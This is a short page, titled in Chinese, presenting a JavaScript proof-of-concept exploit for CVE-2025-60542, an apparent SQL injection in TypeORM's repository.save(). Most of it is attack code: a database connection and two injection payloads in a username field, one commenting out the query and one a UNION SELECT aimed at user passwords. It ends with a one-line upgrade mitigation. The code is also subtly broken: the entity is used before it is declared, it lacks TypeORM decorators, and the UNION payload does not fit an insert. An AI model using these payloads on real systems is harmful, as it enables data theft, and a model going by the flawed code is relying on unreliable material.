CVE-2025-60542 TypeORM SQL注入漏洞

// CVE-2025-60542 PoC - TypeORM SQL Injection // This PoC demonstrates SQL injection via repository.save() // Vulnerable versions: TypeORM < 0.3.26 const { DataSource } = require('typeorm'); // Initialize TypeORM datasource const dataSource = new DataSource({ type: 'mysql', host: 'localhost', port: 3306, username: 'root', password: 'password', database: 'testdb', entities: [User], }); // User entity definition class User { constructor() { this.id = undefined; this.username = ''; this.email = ''; } } async function exploitSQLInjection() { await dataSource.initialize(); const userRepository = dataSource.getRepository(User); // Malicious payload - SQL injection via username field // This payload attempts to comment out the rest of the query const maliciousUser = new User(); maliciousUser.username = "admin'; --"; maliciousUser.email = '[email protected]'; try { // This call becomes vulnerable when stringifyObjects is false const savedUser = await userRepository.save(maliciousUser); console.log('User saved:', savedUser); } catch (error) { console.error('Error:', error.message); } // More dangerous payload - attempting to extract data const dataExtractionPayload = new User(); dataExtractionPayload.username = "' UNION SELECT password FROM users WHERE '1'='1"; dataExtractionPayload.email = '[email protected]'; try { await userRepository.save(dataExtractionPayload); } catch (error) { console.log('SQL Injection detected in error:', error.message); } await dataSource.destroy(); } // Run the exploit // exploitSQLInjection(); // Mitigation: Upgrade to TypeORM 0.3.26 or later // npm install [email protected]